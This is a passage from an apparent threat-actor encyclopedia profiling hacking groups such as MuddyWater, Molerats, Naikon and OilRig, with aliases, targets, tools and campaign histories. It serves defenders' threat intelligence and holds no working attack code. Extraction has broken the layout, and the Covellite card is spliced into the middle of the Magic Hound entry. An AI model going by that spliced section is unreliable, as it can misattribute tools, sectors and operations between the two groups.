Israeli critical infrastructure projects, Israeli financial institutions, +Middle Eastern engineering students, and various government agencies +communicating in the Middle East. +Common applications and websites that were spied on include accounts on Gmail, +Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also +performed over integrated ERP/CRM systems, business contracts, and financial +management systems. +Observed +Sectors: Education, Engineering, Financial, Government, Oil and gas and Think +Tanks. +Countries: Australia, Ecuador, Greece, Iran, Iraq, Israel, Mozambique, New +Zealand, Pakistan, Saudi Arabia, Switzerland, USA and Vietnam. +Tools used +Madi. +Operations +performed +Jul 2012 +Counter +operations +The C&C servers have been sinkholed by Kaspersky and Seculert. +Information + + + +New and Improved Madi Spyware Campaign Continues +Madi, the religiously-titled spyware that was discovered last week and +thought to be dead, appears to be making a comeback, complete with +updates. + +Threat Group Cards: A Threat Actor Encyclopedia +Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten +Names +Magic Hound (Palo Alto) +APT 35 (Mandiant) +Cobalt Gypsy (SecureWorks) +Rocket Kitten (CrowdStrike) +TEMP.Beanie (FireEye) +Timberworm (Symantec) +Tarh Andishan (Cylance) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle +East that dates back as early as 2014. The group behind the campaign has +primarily targeted organizations in the energy, government, and technology sectors +that are either based or have business interests in Saudi Arabia. +This group appears to be the evolvement of Covellite +Names +Covellite (Dragos) +Country +North Korea +Motivation +Information theft and espionage +Description +(Dragos) Covellite compromises networks associated with civilian electric energy +worldwide and gathers intelligence on intellectual property and internal industrial +operations. Covellite lacks an industrial control system (ICS) specific capability at +this time. +Covellite operates globally with targets primarily in Europe, East Asia, and North +America. US targets emerged in September 2017 with a small, targeted phishing +campaign directed at select U.S. electric companies. The phishing emails contained +a malicious Microsoft Word document and infected computers with malware. +The malicious emails discovered in the fall masqueraded as resumes or invitations. +They delivered a remote access tool (RAT) payload which was used to conduct +reconnaissance and enable persistent, covert access to victims + machines. +Covellite +s infrastructure and malware are similar to the hacking organization known +as Lazarus Group, Hidden Cobra, Labyrinth Chollima by Novetta and Hidden Cobra +by the U.S. Department of Homeland Security. +Lazarus Group is responsible for attacks ranging from the 2014 attack on Sony +Pictures to a number of Bitcoin heists in 2017. Technical analysis of Covellite +malware indicates an evolution from known Lazarus toolkits. However, aside from +technical overlap, it is not known how the capabilities and operations between +Covellite and Lazarus are related. +Covellite remains active but appears to have abandoned North American targets, +with indications of activity in Europe and East Asia. Given the group +s specific +interest in infrastructure operations, rapidly improving capabilities, and history of +aggressive targeting, Dragos considers this group a primary threat to the ICS +industry. +Threat Group Cards: A Threat Actor Encyclopedia +Observed +Sectors: Energy. +Countries: East Asia, Europe and USA. +Tools used +Information + +Cutting Kitten, TG-2889. +Observed +Sectors: Energy, Government and Technology sectors that are either based or +have business interests in Saudi Arabia. +Countries: Afghanistan, Canada, Egypt, Iran, Iraq, Israel, Jordan, Kuwait, Morocco, +Pakistan, Saudi Arabia, Spain, Syria, Turkey, UAE, UK, Venezuela and Yemen +Tools used +CWoolger, DistTrack, FileMalv, Ghambar, Ghole, Havij, Leash, Matryoshka RAT, +Mimikatz, MPKBot, NETWoolger, PupyRAT, sqlmap, TDTESS and Woolger. +Operations +performed +Mid-2014 +Operation +Thamar Reservoir +This report reviews an ongoing cyber-attack campaign dating back to +mid-2014. Additional sources indicate it may date as far back as 2011. +We call this campaign Thamar Reservoir, named after one of the +targets, Thamar E. Gindin, who exposed new information about the +attack and is currently assisting with the investigation. + +Feb 2015 +Operation +Woolen-GoldFish + +2016 +Unit 42 has discovered a persistent attack campaign operating +primarily in the Middle East dating back to at least mid-2016 which we +have named Magic Hound. This appears to be an attack campaign +focused on espionage. Based upon our visibility it has primarily +targeted organizations in the energy, government, and technology +sectors that are either based or have business interests in Saudi +Arabia. The adversaries appear to have evolved their tactics and +techniques throughout the tracked time-period, iterating through a +diverse toolset across different waves of attacks. + +Jan 2017 +PupyRAT campaign +SecureWorks Counter Threat Unit (CTU) researchers analyzed a +phishing campaign that targeted a Middle Eastern organization in +early January 2017. Some of messages were sent from legitimate +email addresses belonging to several Middle Eastern organizations. + +2017 +The Curious Case of Mia Ash +In early 2017, SecureWorks Counter Threat Unit (CTU) researchers +observed phishing campaigns targeting several entities in the Middle +East and North Africa (MENA), with a focus on Saudi Arabian +organizations. The campaigns delivered PupyRAT, an open-source +cross-platform remote access Trojan. +Threat Group Cards: A Threat Actor Encyclopedia + +Counter +operations +Information + + +MITRE ATT&CK + +Microsoft slaps down 99 APT35/Charming Kitten domains (2019) + +Threat Group Cards: A Threat Actor Encyclopedia +Moafee +Names +Moafee (FireEye) +Country +China +Motivation +Information theft and espionage +Description +Moafee is a threat group that appears to operate from the Guandong Province of +China. Due to overlapping TTPs, including similar custom tools, Moafee is thought +to have a direct or indirect relationship with the threat group DragonOK. +(FireEye) The attack group +Moafee + (named after their command and control +infrastructure) appears to operate out of the Guangdong province in China and is +known to target the governments and military organizations of countries with +national interests in the South China Sea. The seas in this region have multiple +claims of sovereignty and hold high significance, as it is the second busiest sealane in the world and are known to be rich in resources such as rare earth metals, +crude oil, and natural gas. We have also observed the Moafee group target +organizations within the US defense industrial base. +Observed +Sectors: Defense and Government. +Countries: USA and +countries with national interests in the South China Sea. +Tools used +HTRAN, Mongall, NewCT2, Nflog and Poison Ivy. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Mofang +Names +Mofang (Fox-IT) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Fox-IT) Mofang is a threat actor that almost certainly operates out of China and is +probably government-affiliated. It is highly likely that Mofang +s targets are selected +based on involvement with investments, or technological advances that could be +perceived as a threat to the Chinese sphere of influence. This is most clearly the +case in a campaign focusing on government and critical infrastructure of Myanmar +that is described in this report. Chances are about even, though, that Mofang is a +relevant threat actor to any organization that invests in Myanmar or is otherwise +politically involved. In addition to the campaign in Myanmar, Mofang has been +observed to attack targets across multiple sectors (government, military, critical +infrastructure and the automotive and weapon industries) in multiple countries. +Observed +Sectors: Automotive, Critical infrastructure, Defense, Government and weapon +industries. +Countries: Canada, Germany, India, Myanmar, Singapore, South Korea and USA. +Tools used +ShimRAT, ShimRatReporter and Superman. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Molerats, Extreme Jackal, Gaza Cybergang +Names +Molerats (FireEye) +Extreme Jackal (CrowdStrike) +Gaza Cybergang (Kaspersky) +Gaza Hackers Team (Kaspersky) +Country +Gaza +Sponsor +Hamas +Motivation +Information theft and espionage +Description +(Kaspersky) The Gaza cybergang is an Arabic-language, politically-motivated +cybercriminal group, operating since 2012 and actively targeting the MENA (Middle +East North Africa) region. The Gaza cybergang +s attacks have never slowed down +and its typical targets include government entities/embassies, oil and gas, +media/press, activists, politicians, and diplomats. +One of the interesting new facts, uncovered in mid-2017, is its discovery inside an +oil and gas organization in the MENA region, infiltrating systems and pilfering data, +apparently for more than a year. +Observed +Sectors: Aerospace, Defense, Embassies, Financial, Government, Oil and gas, +journalists and software developers. +Countries: China, Egypt, Iran, Iraq, Israel, Jordan, Latvia, Libya, Macedonia, New +Zealand, Palestine, Saudi Arabia, Slovenia, Turkey, UAE, UK, USA and Yemen, +the BBC and the Office of the Quartet Representative. +Tools used +DustySky, Molerat Loader, NeD Worm, njRAT, Poison Ivy, Scote and XtremeRAT. +Operations +performed +Jan 2012 +Defacement of Israel fire service website +Hackers claiming to be from the Gaza Strip defaced the website of the +Israel Fire and Rescue services, posting a message saying +Death to +Israel, + a spokesman said on Friday. + +Oct 2012 +Operation +Molerats +In October 2012, malware attacks against Israeli government targets +grabbed media attention as officials temporarily cut off Internet access +for its entire police force and banned the use of USB memory sticks. +Security researchers subsequently linked these attacks to a broader, +yearlong campaign that targeted not just Israelis but Palestinians as +well + and as discovered later, even the U.S. and UK governments. + +Jun 2013 +We observed several attacks in June and July 2013 against targets in +the Middle East and the U.S. that dropped a PIVY payload that +connected to command-and-control (CnC) infrastructure used by the +Molerats attackers. + +Apr 2014 +Between 29 April and 27 May, FireEye Labs identified several new +Molerats attacks targeting at least one major U.S. financial institution +and multiple, European government organizations. +Threat Group Cards: A Threat Actor Encyclopedia + +Summer +2014 +Attacks against Israeli & Palestinian interests +The decoy documents and filenames used in the attacks suggest the +intended targets include organizations with political interests or +influence in Israel and Palestine. + +2014 +Operation +Moonlight +Vectra Threat Labs researchers have uncovered the activities of a +group of individuals currently engaged in targeted attacks against +entities in the Middle East. We identified over 200 samples of malware +generated by the group over the last two years. These attacks are +themed around Middle Eastern political issues and the motivation +appears to relate to espionage, as opposed to opportunistic or criminal +intentions. + +May 2015 +One interesting new fact about Gaza Cybergang activities is that they +are actively sending malware files to IT (Information Technology) and +IR (Incident Response) staff; this is also obvious from the file names +they are sending to victims, which reflect the IT functions or IR tools +used in cyberattack investigations. + +Sep 2015 +Operation +DustySky +These attacks are targeted, but not spear-phished. I.e., malicious +email messages are sent to selected targets rather than random mass +distribution, but are not tailored specifically to each and every target. +Dozens of targets may receive the exact same message. The email +message and the lure document are written in Hebrew, Arabic or +English +depending on the target audience. Targeted sectors include +governmental and diplomatic institutions, including embassies; +companies from the aerospace and defense Industries; financial +institutions; journalists; software developers. The attackers have been +targeting software developers in general, using a fake website +pretending to be a legitimate iOS management software, and linking to +it in an online freelancing marketplace. + +Apr 2016 +Operation +DustySky + Part 2 +Attacks against all targets in the Middle East stopped at once, after we +published our first report. However, the attacks against targets in the +Middle East (except Israel) were renewed in less than 20 days. In the +beginning of April 2016, we found evidence that the attacks against +Israel have been renewed as well. Based on the type of targets, on +Gaza being the source of the attacks, and on the type of information +the attackers are after +we estimate with medium-high certainty that +the Hamas terrorist organization is behind these attacks. + +Threat Group Cards: A Threat Actor Encyclopedia + +Nov 2016 +PwC analysts have been tracking the same malware campaign, which +has seen a noticeable spike since at least April 2016. The attackers +have targeted Arabic news websites, political figures and other targets +that possess influence in the Palestinian territories and other +neighbouring Arab countries. +Our investigation began by analysing around 20 executable files +associated with the attacks. Several of these files opened decoy +documents and audio files, which were exclusively in Arabic-language. + +Mid-2017 +New targets, use of MS Access Macros and CVE 2017-0199, and +possible mobile espionage +One of the interesting new facts, uncovered in mid-2017, is its +discovery inside an oil and gas organization in the MENA region, +infiltrating systems and pilfering data, apparently for more than a year. +Another interesting finding is the use of the recently discovered CVE +2017-0199 vulnerability, and Microsoft Access files into which the +download scripts were embedded to reduce the likelihood of their +detection. Traces of mobile malware that started to appear from late +April 2017, are also being investigated. + +Sep 2017 +TopHat + Campaign +In recent months, Palo Alto Networks Unit 42 observed a wave of +attacks leveraging popular third-party services Google+, Pastebin, and +bit.ly. +The attacks we found within the TopHat campaign began in early +September 2017. In a few instances, original filenames of the +identified samples were written in Arabic. + +Feb 2019 +New Attack in the Middle East +Recently, 360 Threat Intelligence Center captured a bait document +designed specifically for Arabic users. It is an Office Word document +with malicious macros embedded to drop and execute a backdoor +packed by Enigma Virtual Box. The backdoor program has a built-in +keyword list containing names of people or opera movies to +communicate with C2, distributes control commands to further control +the victim +s computer device. After investigation, we suspect this +attack is carried out by Molerats. + +Apr 2019 +SneakyPastes + Campaign +The campaign is multistage. It begins with phishing, using letters from +one-time addresses and one-time domains. Sometimes the letters +contain links to malware or infected attachments. If the victim +executes the attached file (or follows the link), their device receives +Stage One malware programmed to activate the infection chain. +Threat Group Cards: A Threat Actor Encyclopedia + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +MoneyTaker +Names +MoneyTaker (Group-IB) +Country +Russia +Motivation +Financial gain +Description +(Group-IB) In less than two years, this group has conducted over 20 successful +attacks on financial institutions and legal firms in the USA, UK and Russia. The +group has primarily been targeting card processing systems, including the AWS +CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide +usage of STAR in LATAM, financial institutions in LATAM could have particular +exposure to a potential interest from the MoneyTaker group. +Although the group has been successful at targeting a number of banks in different +countries, to date, they have gone unreported. In addition to banks, the +MoneyTaker group has attacked law firms and also financial software vendors. In +total, Group-IB has confirmed 20 companies as MoneyTaker victims, with 16 +attacks on US organizations, 3 attacks on Russian banks and 1 in the UK. +Observed +Sectors: Financial. +Countries: Russia, UK and USA. +Tools used +Citadel, Kronos, Metasploit, MoneyTaker and Screenshotter. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +MuddyWater, Seedworm, TEMP.Zagros, Static Kitten +Names +MuddyWater (Palo Alto) +Seedworm (Symantec) +TEMP.Zagros (FireEye) +Static Kitten (CrowdStrike) +Country +Iran +Motivation +Information theft and espionage +Description +(Reaqta) MuddyWater is an APT group that has been active throughout 2017, +targeting victims in Middle East with in-memory vectors leveraging on Powershell, +in a family of attacks now identified as +Living off the land +, as they don +t require the +creation of new binaries on the victim +s machine, thus maintaining a low detection +profile and a low forensic footprint. +The operators behind MuddyWater are likely espionage motivated, we derive this +information from the analysis of data and backdoors behaviors. We also find that +despite the strong preponderance of victims from Pakistan, the most active targets +appear to be in: Saudi Arabia, UAE and Iraq. Amongst the victims we identify a +variety of entities with a stronger focus at Governments, Telcos and Oil companies. +By tracking the operations we finally figure out that the originating country is likely +to be Iran, while it remains harder to ascertain whether MuddyWater is state +sponsored or a criminal organization incline to espionage. +Observed +Sectors: Defense, Education, Food, Gaming, Government, IT, Media, NGOs, Oil +and gas, Telecommunications and Transportation. +Countries: Afghanistan, Armenia, Bahrein, Belarus, Egypt, Georgia, India, Iraq, +Israel, Jordan, Lebanon, Mali, Netherlands, Oman, Pakistan, Russia, Saudi Arabia, +Tajikistan, Tunisia, Turkey, UAE, Ukraine and USA. +Tools used +ChromeCookiesView, chrome-passwords, CLOUDSTATS, CrackMapExec, +DELPHSTATS, EmpireProject, FruityC2, Koadic, LaZagne, Meterpreter, Mimikatz. +MZCookiesView, PowerSploit, POWERSTATS, SHARPSTATS, Shoorback and +Smbmap. +Operations +performed +Feb 2017 +The MuddyWater attacks are primarily against Middle Eastern nations. +However, we have also observed attacks against surrounding nations +and beyond, including targets in India and the USA. + +Jan 2018 +Updated Tactics, Techniques and Procedures in Spear Phishing +Campaign +We attribute this activity to TEMP.Zagros (reported by Palo Alto +Networks and Trend Micro as MuddyWater), an Iran-nexus actor that +has been active since at least May 2017. This actor has engaged in +prolific spear phishing of government and defense entities in Central +and Southwest Asia. + +Mar 2018 +Campaign Possibly Connected to +MuddyWater + Surfaces in the +Middle East and Central Asia +We discovered a new campaign targeting organizations in Turkey, +Pakistan and Tajikistan that has some similarities with an earlier +Threat Group Cards: A Threat Actor Encyclopedia +campaign named MuddyWater, which hit various industries in several +countries, primarily in the Middle East and Central Asia. + +May 2018 +Another Potential MuddyWater Campaign uses Powershell-based +PRB-Backdoor +In May 2018, we found a new sample (Detected as +W2KM_DLOADR.UHAOEEN) that may be related to this campaign. +Like the previous campaigns, these samples again involve a Microsoft +Word document embedded with a malicious macro that is capable of +executing PowerShell (PS) scripts leading to a backdoor payload. One +notable difference in the analyzed samples is that they do not directly +download the Visual Basic Script(VBS) and PowerShell component +files, and instead encode all the scripts on the document itself. The +scripts will then be decoded and dropped to execute the payload +without needing to download the component files. + +May 2018 +We recently noticed a large amount of spear phishing documents that +appear to be targeting government bodies, military entities, telcos and +educational institutions in Jordan, Turkey, Azerbaijan and Pakistan, in +addition to the continuous targeting of Iraq and Saudi Arabia, other +victims were also detected in Mali, Austria, Russia, Iran and Bahrain.. +These new documents have appeared throughout 2018 and escalated +from May onwards. The attacks are still ongoing. + +Sep 2018 +Group remains highly active with more than 130 victims in 30 +organizations hit since September 2018. +Seedworm +s motivations are much like many cyber espionage groups +that we observe +they seek to acquire actionable information about +the targeted organizations and individuals. They accomplish this with +a preference for speed and agility over operational security, which +ultimately led to our identification of their key operational +infrastructure. + +Nov 2018 +Operations in Lebanon and Oman +MuddyWater has recently been targeting victims likely from Lebanon +and Oman, while leveraging compromised domains, one of which is +owned by an Israeli web developer. The investigation aimed to +uncover additional details regarding the compromise vector. Further, +we wished to determine the infection vector, which is currently +unknown. With that in mind, past experience implies that this might be +a two-stage spear-phishing campaign. + +Apr 2019 +Targeting Kurdish Political Groups and Organizations in Turkey +However, unlike the previous vector, we did not identify this time any +compromised servers used to host the malware +s code. Instead, the +lure document already contains the malicious code. We also detected +Threat Group Cards: A Threat Actor Encyclopedia +five additional files that operate in a similar file to the aforementioned +document; but unlike that file, these do not have any content. + +Apr 2019 +The Iranian APT, MuddyWater, has been active since at least 2017. +Most recently though, a new campaign, targeting Belarus, Turkey and +Ukraine, has emerged that caught the attention of Check Point +researchers. + +Apr 2019 +Operation +BlackWater +Newly associated samples from April 2019 indicate attackers have +added three distinct steps to their operations, allowing them to bypass +certain security controls and suggesting that MuddyWater +s tactics, +techniques and procedures (TTPs) have evolved to evade detection. + +Jun 2019 +Clearsky has detected new and advanced attack vector used by +MuddyWater to target governmental entities and the +telecommunication sector. Notably, the TTP includes decoy +documents exploiting CVE-2017-0199 as the first stage of the attack. +This is followed by the second stage of the attack + communication +with the hacked C2 servers and downloading a file infected with the +macros. + +Jun 2019 +We came across new campaignsthat seem to bear the markings of +MuddyWater +a threat actor group with a history of targeting +organizations in Middle Eastern and Asian countries. The group used +new tools and payloads in campaigns over the first half of 2019, +pointing to the continued work the group has put in since our last +report on MuddyWaterin November 2018. + +Counter +operations +Information + + +MITRE ATT&CK + +New leaks of Iranian cyber-espionage operations hit Telegram and the Dark +Web (2019) + +Threat Group Cards: A Threat Actor Encyclopedia +Mustang Panda +Names +Mustang Panda (CrowdStrike) +Country +China +Motivation +Information theft and espionage +Description +(CrowdStrike) In April 2017, CrowdStrike Falcon Intelligence observed a previously +unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. +Further analysis revealed a wider campaign with unique tactics, techniques, and +procedures (TTPs). This adversary targets non-governmental organizations (NGOs) +in general, but uses Mongolian language decoys and themes, suggesting this actor +has a specific focus on gathering intelligence on Mongolia. These campaigns +involve the use of shared malware like Poison Ivy or PlugX. +Recently, Falcon Intelligence observed new activity from Mustang Panda, using a +unique infection chain to target likely Mongolia-based victims. This newly observed +activity uses a series of redirections and fileless, malicious implementations of +legitimate tools to gain access to the targeted systems. Additionally, Mustang +Panda actors reused previously-observed legitimate domains to host files. +Observed +US Think Tank. +NGOs in Mongolia. +Tools used +PlugX and Poison Ivy. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Naikon, Lotus Panda +Names +Naikon (Kaspersky) +Hellsing (Kaspersky) +Lotus Panda (CrowdStrike) +Country +China +Sponsor +State-sponsored, PLA Unit 78020 +Motivation +Information theft and espionage +Description +Naikon is a threat group that has focused on targets around the South China Sea. +The group has been attributed to the Chinese People +s Liberation Army +s (PLA) +Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit +Cover Designator 78020). While Naikon shares some characteristics with APT 30, +the two groups do not appear to be exact matches. +Observed +Sectors: Defense, Energy, Government, Law Enforcement and Media. +Countries: Cambodia, China, India, Indonesia, Laos, Malaysia, Myanmar, Nepal, +Philippines, Saudi Arabia, Singapore, South Korea, Thailand, USA and Vietnam. +Tools used +Hdoor, Naikon, JadeRAT, NewCore RAT, PlugX, RARSTONE, Sisfader, SslMM, +Sys10, Systeminfo, Tasklist, TeamViewer, WinMM and xsPlus. +Operations +performed +2012 +Naikon downloader/backdoor +2013 +MsnMM + Campaigns + +Feb 2013 +BKDR_RARSTONE RAT +Last year, we reported about PlugX a breed of Remote Access Trojan +(RAT) used in certain high-profile APT campaigns. We also noted +some of its noteworthy techniques, which include its capability to hide +its malicious codes by decrypting and loading a backdoor +executable +file + directly into memory, without the need to drop the actual +executable file +Recently, we uncovered a RAT using the same technique. The new +sample detected by Trend Micro as BKDR_RARSTONE.A is similar +(but not) PlugX, as it directly loads a backdoor +file + in memory without +dropping any +file +. However, as we proceeded with our analysis, we +found that BKDR_RARSTONE has some tricks of its own. + +Mar 2014 +Campaign in the wake of the MH370 tragedy +By March 11th, the Naikon group was actively hitting most of the +nations involved in the search for MH370. The targets were extremely +wide-ranging but included institutions with access to information +related to the disappearance of MH370. + +Sep 2015 +Operation +CameraShy + +Threat Group Cards: A Threat Actor Encyclopedia +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Neodymium +Names +Neodymium (Microsoft) +Country +[Unknown] +Motivation +Information theft and espionage +Description +Neodymium is an activity group that conducted a campaign in May 2016 and has +heavily targeted Turkish victims. The group has demonstrated similarity to another +activity group called Promethium due to overlapping victim and campaign +characteristics. Neodymium is reportedly associated closely with BlackOasis +operations, but evidence that the group names are aliases has not been identified. +(Microsoft) Neodymium is an activity group that is known to use a backdoor +malware detected by Microsoft as Wingbird. This backdoor +s characteristics closely +match FinFisher, a government-grade commercial surveillance package. Data +about Wingbird activity indicate that it is typically used to attack individual +computers instead of networks. +Observed +Countries: Europe. +Tools used +Wingbird. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +NetTraveler, APT 21 +Names +NetTraveler (Kaspersky) +APT 21 (Mandiant) +Country +China +Motivation +Information theft and espionage +Description +(Kaspersky) Over the last few years, we have been monitoring a cyber-espionage +campaign that has successfully compromised more than 350 high profile victims in +40 countries. The main tool used by the threat actors during these attacks is +NetTraveler, a malicious program used for covert computer surveillance. +The name NetTraveler comes from an internal string which is present in early +versions of the malware: NetTraveler Is Running! This malware is used by APT +actors for basic surveillance of their victims. Earliest known samples have a +timestamp of 2005, although references exist indicating activity as early as 2004. +The largest number of samples we observed were created between 2010 and +2013. +Observed +Sectors: Defense, Embassies, Government, Oil and gas, Scientific research centers +and institutes and Tibetan/Uyghur activists. +Countries: Afganistan, Australia, Austria, Bangladesh, Belarus, Belgium, Cambodia, +Canada, Chile, China, Germany, Greece, Hong Kong, India, Indonesia, Iran, Japan, +Jordan, Kazakhstan, Kyrgyzstan, Lithuania, Malaysia, Mongolia, Morocco, Nepal, +Pakistan, Qatar, Russia, Slovenia, South Korea, Spain, Suriname, Syria, Tajikistan, +Thailand, Turkey, Turkmenistan, UK, Ukraine, USA and Uzbekistan. +Tools used +NetTraveler/TravNet and PlugX. +Operations +performed +Aug 2014 +NetTraveler Gets a Makeover for 10th Anniversary +Most recently, the main focus of interest for cyber-espionage activities +revolved around diplomatic (32%), government (19%), private (11%), +military (9%), industrial and infrastructure (7%), airspace (6%), +research (4%), activism (3%), financial (3%), IT (3%), health (2%) and +press (1%). + +Dec 2015 +Spear-Phishing Email Targets Diplomat of Uzbekistan +Unit 42 recently identified a targeted attack against an individual +working for the Foreign Ministry of Uzbekistan in China. A spearphishing email was sent to a diplomat of the Embassy of Uzbekistan +who is likely based in Beijing, China. + +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Night Dragon +Names +Night Dragon (McAfee) +Country +China +Motivation +Information theft and espionage +Description +(McAfee) Starting in November 2009, coordinated covert and targeted cyberattacks +have been conducted against global oil, energy, and petrochemical companies. +These attacks have involved social engineering, spear-phishing attacks, +exploitation of Microsoft Windows operating systems vulnerabilities, Microsoft +Active Directory compromises, and the use of remote administration tools (RATs) in +targeting and harvesting sensitive competitive proprietary operations and projectfinancing information with regard to oil and gas field bids and operations. +Attackers using several locations in China have leveraged C&C servers on +purchased hosted services in the United States and compromised servers in the +Netherlands to wage attacks against global oil, gas, and petrochemical companies, +as well as individuals and executives in Kazakhstan, Taiwan, Greece, and the +United States to acquire proprietary and highly confidential information. The primary +operational technique used by the attackers comprised a variety of hacker tools, +including privately developed and customized RAT tools that provided complete +remote administration capabilities to the attacker. RATs provide functions similar to +Citrix or Microsoft Windows Terminal Services, allowing a remote individual to +completely control the affected system. To deploy these tools, attackers first +compromised perimeter security controls, through SQL-injection exploits of extranet +web servers, as well as targeted spear-phishing attacks of mobile worker laptops, +and compromising corporate VPN accounts to penetrate the targeted company +defensive architectures (DMZs and firewalls) and conduct reconnaissance of +targeted companies + networked computers. +Observed +Sectors: Energy, Oil and gas and Petrochemical. +Countries: Greece, Kazakhstan, Netherlands, Taiwan and USA. +Tools used +ASPXSpy, Cain & Abel, gsecdump and zwShell. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Nightshade Panda, APT 9, Group 27 +Names +Nightshade Panda (CrowdStrike) +APT 9 (Mandiant) +Group 27 (ASERT) +Country +China +Motivation +Information theft and espionage +Description +(Softpedia) Arbor +s ASERT team is now reporting that, after looking deeper at that +particular campaign, and by exposing a new trail in the group +s activities, they +managed to identify a new RAT that was undetectable at that time by most antivirus +vendors. +Named Trochilus, this new RAT was part of Group 27 +s malware portfolio that +included six other malware strains, all served together or in different combinations, +based on the data that needed to be stolen from each victim. +This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, +included two different PlugX versions, two different Trochilus RAT versions, one +version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one +unknown piece of malware, which the team has not entirely decloaked just yet. +Observed +Sectors: Energy and Government. +Countries: Myanmar and Thailand. +Tools used +9002 RAT, EvilGrab, MoonWind RAT, PlugX and Trochilus RAT. +Operations +performed +Aug 2015 +Operation +Seven Pointed Dagger +During that campaign, the threat actor identified as Group 27 used +watering hole attacks on official Myanmar government websites to +infect unsuspecting users with the PlugX malware (an RAT) when +accessing information on the upcoming Myanmar elections. + +Sep 2016 +From September 2016 through late November 2016, a threat actor +group used both the Trochilus RAT and a newly idenfied RAT we +named MoonWind to target organizations in Thailand, including a +utility organization. We chose the name +MoonWind + based on +debugging strings we saw within the samples, as well as the compiler +used to generate the samples. The attackers compromised two +legitimate Thai websites to host the malware, which is a tactic this +group has used in the past. + +Threat Group Cards: A Threat Actor Encyclopedia +Nitro, Covert Grove +Names +Nitro (Symantec) +Covert Grove (Symantec) +Country +China +Motivation +Information theft and espionage +Description +(Symantec) The Nitro Attacks: Stealing Secrets from the Chemical Industry +The attackers have changed their targets over time. From late April to early May, +the attackers focused on human rights related NGOs. They then moved on to the +motor industry in late May. From June until mid-July no activity was detected. At +this point, the current attack campaign against the chemical industry began. This +particular attack has lasted much longer than previous attacks, spanning two and a +half months. +A total of 29 companies in the chemical sector were confirmed to be targeted in this +attack wave and another 19 in various other sectors, primarily the defense sector, +were seen to be affected as well. These 48 companies are the minimum number of +companies targeted and likely other companies were also targeted. In a recent two +week period, 101 unique IP addresses contacted a command and control server +with traffic consistent with an infected machine. These IPs represented 52 different +unique Internet Service Providers or organizations in 20 countries. +Observed +Sectors: Chemical, Human Rights NGOs, Motor industry and Technology. +Countries: Argentina, Bangladesh, Canada, China, Czech, Finland, France, +Germany, Hong Kong, India, Japan, Netherlands, Norway, Russia, Singapore, +South Korea, Sweden, Taiwan, UK and USA. +Tools used +Farfli, PCClient, Poison Ivy and Spindest. +Operations +performed +Jul 2014 +Information + + +New Indicators of Compromise found +Historically, Nitro is known for targeted spear phishing campaigns and +using Poison Ivy malware, which was not seen in these attacks. Since +at least 2013, Nitro appears to have somewhat modified their malware +and delivery methods to include Spindest and legitimate compromised +websites, as reported by Cyber Squared +s TCIRT. + +Threat Group Cards: A Threat Actor Encyclopedia +OilRig, APT 34, Helix Kitten +Names +OilRig (Palo Alto) +APT 34 (FireEye) +Helix Kitten (CrowdStrike) +Twisted Kitten (CrowdStrike) +Crambus (Symantec) +Chrysene (Dragos) +Country +Iran +Motivation +Information theft and espionage +Description +OilRig is a threat group with suspected Iranian origins that has targeted Middle +Eastern and international victims since at least 2014. The group has targeted a +variety of industries, including financial, government, energy, chemical, and +telecommunications, and has largely focused its operations within the Middle East. +It appears the group carries out supply chain attacks, leveraging the trust +relationship between organizations to attack their primary targets. FireEye assesses +that the group works on behalf of the Iranian government based on infrastructure +details that contain references to Iran, use of Iranian infrastructure, and targeting +that aligns with nation-state interests. This group was previously tracked under two +distinct groups, APT 34 and OilRig, but was combined due to additional reporting +giving higher confidence about the overlap of the activity. +OilRig seems to be closely related to APT 33, Elfin. +Observed +Sectors: Chemical, Energy, Financial, Government and Telecommunications. +Countries: Iraq, Israel, Kuwait, Lebanon, Pakistan, Qatar, Saudi Arabia. Turkey, +UAE, UK and USA. +Tools used +Alma Communicator, BONDUPDATER, certutil, DistTrack, Fox Panel, Glimpse, +GoogleDrive RAT, Helminth, HighShell, HyperShell, IRN2, ISMAgent, ISMDoor, +ISMInjector, Jason, LaZagne, Mimikatz, OopsIE, PoisonFrog, POWRUNER, +QUADAGENT, RGDoor, SEASHARPEE, Shamoon, SpyNote, StoneDrill, +Systeminfo, Tasklist, TwoFace and Webmask. +Operations +performed +Aug 2012 +Shamoon Attacks +W32.Disttrack is a new threat that is being used in specific targeted +attacks against at least one organization in the energy sector. It is a +destructive malware that corrupts files on a compromised computer +and overwrites the MBR (Master Boot Record) in an effort to render a +computer unusable. +Target: Saudi Aramco and Rasgas. + +May 2016 +Targeted Attacks against Banks in the Middle East +In the first week of May 2016, FireEye +s DTI identified a wave of +emails containing malicious attachments being sent to multiple banks +in the Middle East region. The threat actors appear to be performing +initial reconnaissance against would-be targets, and the attacks +caught our attention since they were using unique scripts not +commonly seen in crimeware campaigns. + + +Threat Group Cards: A Threat Actor Encyclopedia +Nov 2016 +Shamoon v2 +The malware used in the recent attacks (W32.Disttrack.B) is largely +unchanged from the variant used four years ago. In the 2012 attacks, +infected computers had their master boot records wiped and replaced +with an image of a burning US flag. The latest attacks instead used a +photo of the body of Alan Kurdi, the three year-old Syrian refugee who +drowned in the Mediterranean last year. + +Jun 2016 +We have identified two separate testing efforts carried out by the +OilRig actors, one occurring in June and one in November of 2016. +The sample set associated with each of these testing activities is +rather small, but the changes made to each of the files give us a +chance to understand what modifications the actor performs in an +attempt to evade detection. This testing activity also suggests that the +threat group responsible for the OilRig attack campaign have an +organized, professional operations model that includes a testing +component to the development of their tools. + +Oct 2016 +In recent weeks we +ve discovered that 